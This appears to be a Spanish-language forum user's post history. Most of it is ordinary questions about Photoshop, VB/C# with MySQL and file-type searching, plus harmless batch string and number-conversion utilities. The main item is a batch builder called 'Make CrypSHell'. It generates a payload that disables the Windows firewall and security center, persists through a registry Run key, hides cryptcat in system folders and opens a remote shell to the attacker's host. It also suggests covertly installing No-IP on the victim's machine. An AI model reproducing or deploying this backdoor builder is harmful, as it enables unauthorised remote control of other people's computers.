Temas

¿Cómo consigo crear el efecto de un androide con "piel metálica" y partes mecánica?
Yo empecé a usar Photoshop CS3. He intentado fusionar y eso pero no queda como yo pretendo.
Espero que me puedan ayudar. Gracias

¿Cómo lo hago? ¿Es lo mismo que en VB6?

Le pregunto esto porque tengo pensado usar VB 2008 desde ahora y he realizado sistemas que emplean base de datos locales (en este caso siempre he usado Access).

Mas bien, también he realizado otros sistemas en el que uso MySQL pero utilizando un driver para esto.

Me gustaría mucho que me dijeran si es que es posible seguir usándolo de la misma manera a esto, es decir, hacer uso de Access y/o MySQL con el driver [que se descarga desde www.mysql.com]

Gracias y espero que me puedan ayudar.

Bueno, mi pregunta es la del asunto. Resulta que antes utlilizaba VB6 para hacer los sistemas, pero quiero utilizar tecnología .NET y quise dejar a VB, así que ahora que estoy usando C# me gustaría saber cómo hacer operaciones básicas (bajas, altas, modificaciones, etc.) con este lenguaje y con MySQL.

Gracias al que pueda ayudar o me oriente. Saludos.

Me refiero a que si es posible buscar archivos sin tener en cuenta ni la extensión del mismo ni el nombre.

Por ejemplo, si a un archivo de audio en formato mp3 le cambiase su extensión y le escribo como wma, se reproducirá normalmente ya que se trata en realidad de un mp3 solo que con la extensión cambiada. Ahora, si yo lo busco como mp3 por "métodos convencionales", pues no encontrará nada... Pero, ¿si lo busco por su formato o estructura?. ¿Es posible esto? Gracias y saludos.

Bueno, este es un código que me lo pasaron hace muchisimo tiempo (1 año y un poco más +/-) RockoX y Lukhardy, pero recién ahora lo publico ya que ellos no me lo permitian ya que estaban mejorandolo pero creo que no lo continuaron, hasta donde sé...

Lo que hace es simplemente crear un servidor del cryptcat con todas las configuraciones necesarias para conectar a un PC remoto. El código es totalmente seguro y trae todo un simple manual al final sobre cómo utilizarlo.

El código en realidad se hace grande porque incluye un binario, solo eso .

Código [Seleccionar] Expandir

@echo off
::por RockoX & Lukhardy
color 02
mode con cols=120
mode con lines=35
set LR=echo
set k=echo.
title --    Make CrypSHell v.1.0.0   --
%k%
%k%
%k%
%k%
%k%
%k%
%k%
%LR%           ========================================================================================
%k%

%LR%                            CCCCCCCC        RRRRRRRRRRRRRR  YYYYYY    YYYYYY  PPPPPPPPPPPP  
%LR%                          CCCC      CCCC    RRRR        RRRR  YYYY    YYYY    PPPP      PPPP
%LR%                        CCCC                RRRR        RRRR    YYYYYYYY      PPPP      PPPP
%LR%                        CCCC                RRRRRRRRRRRRRR      YYYYYYYY      PPPPPPPPPPPP  
%LR%                        CCCC                RRRR    RRRR          YYYY        PPPP          
%LR%                          CCCC      CCCC    RRRR    RRRRRR        YYYY        PPPP          
%LR%                            CCCCCCCC        RRRR      RRRRRR      YYYY        PPPP  
%k%
%LR%                                                 VERSION 1.0.0      
%k%
%LR%                          ssssssssss    hhhh    hhhh    eeeeeeeeeeee  llll        llll      
%LR%                        ssss            hhhh    hhhh    eeee          llll        llll      
%LR%                        ssssssssssss    hhhhhhhhhhhh    eeeeeeeeee    llll        llll      
%LR%                          ssssssssssss  hhhh    hhhh    eeee          llll        llll      
%LR%                                  ssss  hhhh    hhhh    eeee          llll        llll      
%LR%                        ssssssssssss    hhhh    hhhh    eeeeeeeeeeee  llllllllll  llllllllll
%k%
%k%
%LR%            ========================================================================================
%K%
%LR%                                                                               Por RockoX ^& Lukhardy
%LR%                                                                               [ - GPL - ]
pause>nul
cls
:menu
cls
%LR% --- Menu de configuracion ---
%k%
%LR% 1- Shell remota inversa (Server conecta con cliente)
%LR% 2- Shell remota directa (Cliente conecta con Server)
%k%
%LR% 3- RESERVADO PARA NIRCMD (No implementado en esta version)
%k%
%LR% _____________________________________________________________________________________
%LR% 4- Leer acerca de como ocultar la ventana del MS-DOS durante la ejecucion del script.
%LR% _____________________________________________________________________________________
set /p opc=
if ["%opc%"]==[""] (
cls
%LR% DEBES ESCRIBIR UNA OPCION VALIDA.
pause
goto :menu)
if NOT %opc%==1 (
if NOT %opc%==2 (
if NOT %opc%==3 (
if NOT %opc%==4 (
cls
%LR% DEBES ESCRIBIR UNA OPCION VALIDA.
pause
goto :menu
))))
if %opc%==1 goto :remotainversa
if %opc%==2 goto :remotadirecta
if %opc%==3 goto :Nrmd
if %opc%==4 goto :hide

:remotainversa
cls
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
%LR%      CONFIGURACION DEL SERVER
%k%
%LR% --------------------------------------------
set /p Host=  Escribe tu direccion de IP o cuenta de No-IP:  
if ["%Host%"]==[""] (
goto:remotainversa
)
:Tipo_Shell
%k%
%lr% 1.-CMD.EXE
%lr% 2.-COMMAND.COM
%k%
set /p Shellx=Especifica el tipo de Shell :
if ["%Shellx%"]==[""] (
cls
goto:Tipo_Shell
)
if %Shellx% GTR 2 (
cls
goto:Tipo_Shell
)
if %Shellx% LSS 1 (
cls
goto:Tipo_Shell
)
rem Lista de puertos prohibidos :
rem Estos puertos son comunmente usados por el sistema, lo que lanzaria un error.
rem 137,138,139,443,445
:Port_Config
set /p puerto=  Puerto:
if ["%puerto%"]==[""] (
cls
goto:Port_Config  
)

for %%a in (137, 138, 139, 443, 445) do (
if %puerto%==%%a (
%lr% Puerto no accesible, intenta otro.
pause>nul
cls
goto:Port_Config
)
)
:Ruta_Remota
%LR% Especificar ruta en donde se creara cryptcat en la pc remota
%k%
%LR%[SE RECOMIENDA OPTAR POR CUALQUIERA DE ESTAS: (%%systemroot%% ^| %%windir%% ^| %%systemroot%\System32) ]
%k%
set /p ruta=  Ruta:  
if ["%ruta%"]==[""] (
cls
goto:Ruta_Remota
)
%LR% --------------------------------------------
:PING_CRP
%LR% Especificar TIEMPO en segundos en que se ejecutara Cryptcat Server (Para ver ayuda escribir HELP)
set /p ping= Segundos:  
if ["%ping%"]==[""] (
cls
goto:PING_CRP
)
if %ping% LSS 0 (
cls
goto:PING_CRP
)
if %ping%==HELP goto :Ayuda_ping
if %ping%==help goto :Ayuda_ping

:: Si el usuario no puso "HELP" ni "help" continua con el codigo usando la etiqueta ":next"
if NOT %ping%==HELP goto :Helpmini
:Helpmini
if NOT %ping%==help goto :next

:next
%LR% --------------------------------------------
set /p file=  Nombre del batch (no incluir extension):
if ["%file%"]==[""] (
cls
goto:Next
)
if %file:~-4%==.bat (
cls
echo No debias incluir extension en el nombre del Archivo.
pause>nul
goto:next
)
%k%
setlocal
:Autorun
set /p autorun= Crear autorun en registro? (S/N):
if ["%autorun%"]==[""] (
cls
goto:Autorun
)
if %autorun%==s goto :crearautorun
if %autorun%==S goto :crearautorun
if %errorlevel%==1 (%LR% Decidiste no crear el Autorun, pero puedes hacerlo modificando el codigo mas tarde.)
endlocal
:crearautorun
set /p autorun= Escribe el Nombre del valor:
if ["%autorun%"]==[""] (
cls
goto:crearautorun
)
%k%
pause
cls
%k%
%k%
%LR% RECUERDA:
%LR% Lo que debes escribir en tu cryptcat para poder conectarte es al server que acabas de crear es:
%k%
%LR%      cryptcat -vv -L -p %puerto%
%LR% Para que lo recuerdes se creo un archivo CONECTADO.TXT en tu disco %homedrive%.
%LR% Has creado un server que trabaja en el puerto %puerto%>"%homedrive%\Conectado.txt"
%LR% Para hacerlo debes escribir: cryptcat -vv -L -p %puerto%>>"%homedrive%\Conectado.txt"
%LR% Atentamente: Lukhardy ^& RockoX>>"%homedrive%\Conectado.txt"
%k%
pause

:: Muestra un mensaje indicando que se esta creando el archivo
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::
%k%
%LR%     Creando %file%.bat ^>^>^>
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::
%k%
%LR%     Al concluir se cerrara Crypshell. Suerte.
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::
%k%

:: Se crea el archivo en el que contendra los comandos necesarios
::para la ejecucion del cryptcat en forma INVERSA
%LR%@echo off>%file%.bat
%LR%net stop "Centro de seguridad">>%file%.bat
%LR%net stop "SharedAccess">>%file%.bat
%LR%net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)">>%file%.bat
%LR%set LR=echo >>%file%.bat
%LR%reg query hklm\software\microsoft\windows\currentversion\run /v %autorun%>>%file%.bat
%LR%if errorlevel 1 (>>%file%.bat
%LR%reg add hklm\software\microsoft\windows\currentversion\run /v %autorun% /t reg_sz /d %ruta%\cryptcat.exe>>%file%.bat
%LR%) else (goto :verificarcryp)>>%file%.bat
%LR%:verificarcryp>>%file%.bat
%LR%if exist %ruta%\cryptcat.exe (goto :openshell)>>%file%.bat
%LR%call:crp^>^"temp.com^">>%file%.bat
%LR%call temp.com^>nul>>%file%.bat
%LR%if exist cryptcat.exe (goto :proceso)>>%file%.bat
%LR%:proceso>>%file%.bat
%LR%del /f /q temp.com>>%file%.bat
%LR%move cryptcat.exe %ruta%\cryptcat.exe>>%file%.bat
%LR%if exist %ruta%\cryptcat.exe (goto :openshell)>>%file%.bat
%LR%:openshell>>%file%.bat
%LR%ping -n %ping% localhost^>nul>>%file%.bat
%LR%cryptcat -d -e %Shellx% %Host% %puerto%>>%file%.bat
%LR%goto :openshell>>%file%.bat
%LR%:crp>>%file%.bat
call:crp>>%file%.bat

:remotadirecta
cls
%k%
%LR% ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
%LR%      CONFIGURACION DEL SERVER
%LR% --------------------------------------------
:Tipo_Shell_directa
%k%
%lr% 1.-CMD.EXE
%lr% 2.-COMMAND.COM
%k%
set /p Shelld=Especifica el tipo de Shell :
if ["%Shelld%"]==[""] (
cls
goto:Tipo_Shell_directa
)
if %Shelld% LSS 1 (
cls
goto:Tipo_Shell_directa
)
if %Shelld% GTR 2 (
cls
goto:Tipo_Shell_directa
)
rem Lista de puertos prohibidos :
rem Estos puertos son comunmente usados por el sistema, lo que lanzaria un error.
rem 137,138,139,443,445
:Port_Config_Directa
%LR% --------------------------------------------
set /p puertod=  Escribe el puerto por el que conectaras:  
%LR% --------------------------------------------
if ["%puertod%"]==[""] (
goto:Port_Config_Directa
)
for %%a in (137, 138, 139, 443, 445) do (
if %puertod%==%%a (
%lr% Puerto no accesible, intenta otro.
pause>nul
cls
goto:Port_Config_Directa
)
)
:Ruta_remota_directa
%LR% Especificar ruta en donde se creara cryptcat en la pc remota
%k%
%LR%  [SE RECOMIENDA OPTAR POR CUALQUIERA DE ESTAS: (%%systemroot%% ^| %%windir%% ^| %%systemroot%\System32) ]
%k%
set /p ruta=  Ruta:  
if ["%ruta%"]==[""] (
cls
goto:Ruta_remota_directa
)
:NameBatch
%LR% --------------------------------------------
set /p file=  Nombre del batch (no incluir extension):
if ["%file%"]==[""] (
cls
goto:NameBatch
)
if %file:~-4%==.bat (
cls
echo No debias incluir extension en el nombre del Archivo.
pause>nul
goto:NameBatch
)
%k%
:CrearAutorun_Directa
setlocal
set /p autorun= Crear autorun en registro? (S/N):
if ["%autorun%"]==[""] (
cls
goto:CrearAutorun_Directa
)
if %autorun%==s goto :crearautorun
if %autorun%==S goto :crearautorun
if errorlevel 1 (%LR% Decidiste no crear el autorun, pero puedes hacerlo modificando el codigo mas tarde)
endlocal
:crearautorun
set /p autorun= Escribe el Nombre del valor:
if ["%autorun%"]==[""] (
cls
goto:Crearautorun
)
%k%
pause
cls
%k%
%k%
:recordatorio_Directa
%LR% RECUERDA:
%LR% Para conectar con el server debes escribir:
%LR%     cryptcat -vv IP/HOST_de_la_PC_Remota %pertod%
%k%
%LR% El problema de siempre: algunas IP son dinamicas entonces seria un poco dificil encontrar
%LR% la IP en donde esta el cryptcat de la PC remota. Por lo que se sugiere instalarle de forma
%LR% sigilosa el NO-IP en la PC remota y asi poder conectarte usando el HOST del NO-IP o
%LR% emplear cualquier metodo para hacerlo =P.
%k%
%LR% Para que lo recuerdes se creo un archivo CONECTADO.TXT en tu disco %homedrive%.
%LR% Has creado un server que trabaja en el puerto %puertod%>"%homedrive%\Conectado.txt"
%LR% Para hacerlo debes escribir: cryptcat -vv IP/HOST_de_la_PC_Remota %puertod%>>"%homedrive%\Conectado.txt"
%LR% Atentamente: Lukhardy ^& RockoX>>"%homedrive%\Conectado.txt"
pause
cls

Continúa abajo...

[Invertir cadena de texto]

Aqui estan otras más que pude encontrar en mi extinto disco.

EDITO: Ya supe de quien eran los códigos: The Shadow  

Invertir cadena de texto

Código [Seleccionar] Expandir

@echo off
::Por: yo no, si The Shadow ¬¬, jeje
::Info: Invierte una cadena especifica
::Parametros: %1=cadena
::Devuelve: %ohce%=cadena invertida
:ohce
set wrd=
set ohce=
if %1'==' goto er_o
set wrd=%1
set wrd=%wrd:"=cnf%
call :len %wrd%
set /a len=%len%-1
for /l %%a in (%len%,-1,0) do (
call :st %%wrd:~%%a,1%%
)
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
echo %ohce%
goto :EOF
:st
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
echo La sintaxis es: h2d [cadena]
goto :EOF

Longitud de cadena

Código [Seleccionar] Expandir

@echo off
::LEN
::Info: Regresa la longitud de la cadena especificada.
::      Si la cadena contiene espacios, el script
::      tomara la cadena que esta antes del 1er espacio.
::Parametros: %1=cadena
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
echo %len%
set bol=1
)
goto :EOF

[He aquí estas funciones:]

Estos códigos los encontré en una de las partes que no estaba dañada de mi disco (la única parte debe ser porque lo otro no anda  ). Sinceramente no recuerdo haberlos hecho yo u otro    . (tiro a lo segundo help).

A propósito, las probé y todas funcionan bien, asi que no creo que haya problemas

EDITO: Ya supe de quien eran los códigos: The Shadow 

He aquí estas funciones:

Decimal a Binario

Código [Seleccionar] Expandir

@echo off
::Info: Convierte un numero decimal a binario
::Parametros: %1=numero decimal
::Devuelve: %bin%=numero binario
::Nivel de precision:1 byte
:d2b
setlocal
if %1'==' goto err
set /a cmp=%1*1
if not %cmp%==%1 goto err
if /I %1 gtr 198 goto err
set bin=
set ay=%1
if %ay%==1 (set bin=1 && goto enda)
:aval
set lim=a
call :len %ay%
set /a lon=%len%-1
set lim=9
for /L %%a in (1,1,%lon%) do (
set lim=9%lim%
)
set lim=%lim: =%
set naa=0
:cnta
if "%naa%"=="%lim%" (goto tst)
set /a cy=%naa%*2
if /I "%cy%" EQU "%ay%" (
set bin=%bin%0
goto cmp
)
set /a naa=%naa%+1
goto cnta
:tst
set bin=%bin%1
:cmp
if /I %ay% lss 2 goto end
set /A ay=%ay%/2
goto aval
:ohce
set wrd=
set ohce=
if %1'==' goto er_o
set wrd=%1
set wrd=%wrd:"=cnf%
call :len %wrd%
set /a len=%len%-1
for /l %%a in (%len%,-1,0) do (
call :st %%wrd:~%%a,1%%
)
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
goto :EOF
:st
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
echo La sintaxis es: h2d [cadena]
goto :EOF
:err
echo La sintaxis es: && echo.
echo d2b [numero]
echo. && echo Los numeros estan limitados a 1 byte aprox.
goto :EOF
:end
call :ohce %bin%
set bin=%ohce%
:enda
echo %bin%
endlocal
goto :EOF

Decimal a Hexadecimal

Código [Seleccionar] Expandir

@echo off
if %1'==' goto er_h
set hexstr=0123456789ABCDEF
set last=
set /A dec=%1
:loop2
set /A ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (
set /A dec=%dec%/16
) else (
echo %last%
goto:EOF
)
goto:loop2
:evals
set last=%1%last%
goto:EOF
:er_h
echo La sintaxis es: d2h [numero]
goto :EOF

Hexadecimal a Binario

Código [Seleccionar] Expandir

@echo off
::Info: Convierte un numero hexadecimal a binario
::Parametros: %1=numero hexadecimal
::Devuelve: %bin%=numero binario
::Nivel de precision:1 byte
:h2b
setlocal
if %1'==' goto err
call :h2d %1
if /I %dec% gtr 198 goto err
set bin=
set ay=%dec%
if %ay%==1 (set bin=1 && goto enda)
:aval
set lim=a
call :len %ay%
set /a lon=%len%-1
set lim=9
for /L %%a in (1,1,%lon%) do (
set lim=9%lim%
)
set lim=%lim: =%
set naa=0
:cnta
if "%naa%"=="%lim%" (goto tst)
set /a cy=%naa%*2
if /I "%cy%" EQU "%ay%" (
set bin=%bin%0
goto cmp
)
set /a naa=%naa%+1
goto cnta
:tst
set bin=%bin%1
:cmp
if /I %ay% lss 2 goto end
set /A ay=%ay%/2
goto aval
:ohce
set wrd=
set ohce=
if %1'==' goto er_o
set wrd=%1
set wrd=%wrd:"=cnf%
call :len %wrd%
set /a len=%len%-1
for /l %%a in (%len%,-1,0) do (
call :st %%wrd:~%%a,1%%
)
set ohce=%ohce:"=%
set ohce=%ohce:fnc="%
goto :EOF
:st
set p1=%1
set ohce=%ohce%%p1%
goto :EOF
:len
if %1'==' echo La sintaxis es: len [cadena] && goto :EOF
set w=%1
set a=0
set bol=0
:lp
call :cnt "%%w:~%a%,1%%" %a%
if %bol%==1 goto :EOF
set /a a=%a%+1
goto lp
:cnt
set cur=%1
set len=%2
if %cur%a==""a (
set bol=1
)
goto :EOF
:er_o
echo La sintaxis es: h2d [cadena]
goto :EOF
:h2d
set dec="La sintaxis es: h2d [numero_hexadecimal]"
set /a dec=0x%1*1
goto :EOF
:err
echo La sintaxis es: && echo.
echo h2b [numero]
echo. && echo Los numeros estan limitados a 1 byte aprox.
goto :EOF
:end
call :ohce %bin%
set bin=%ohce%
:enda
echo %bin%
endlocal
goto :EOF

Hexadecimal a Decimal

Código [Seleccionar] Expandir

@echo off
::Info: Convierte un numero hexadecimal a decimal
::Parametros: %1=numero hexadecimanl
::Devuelve: %h2d%=numero decimal
:h2d
set dec="La sintaxis es: h2d [numero_hexadecimal]"
set /a dec=0x%1*1
echo %dec% && goto :EOF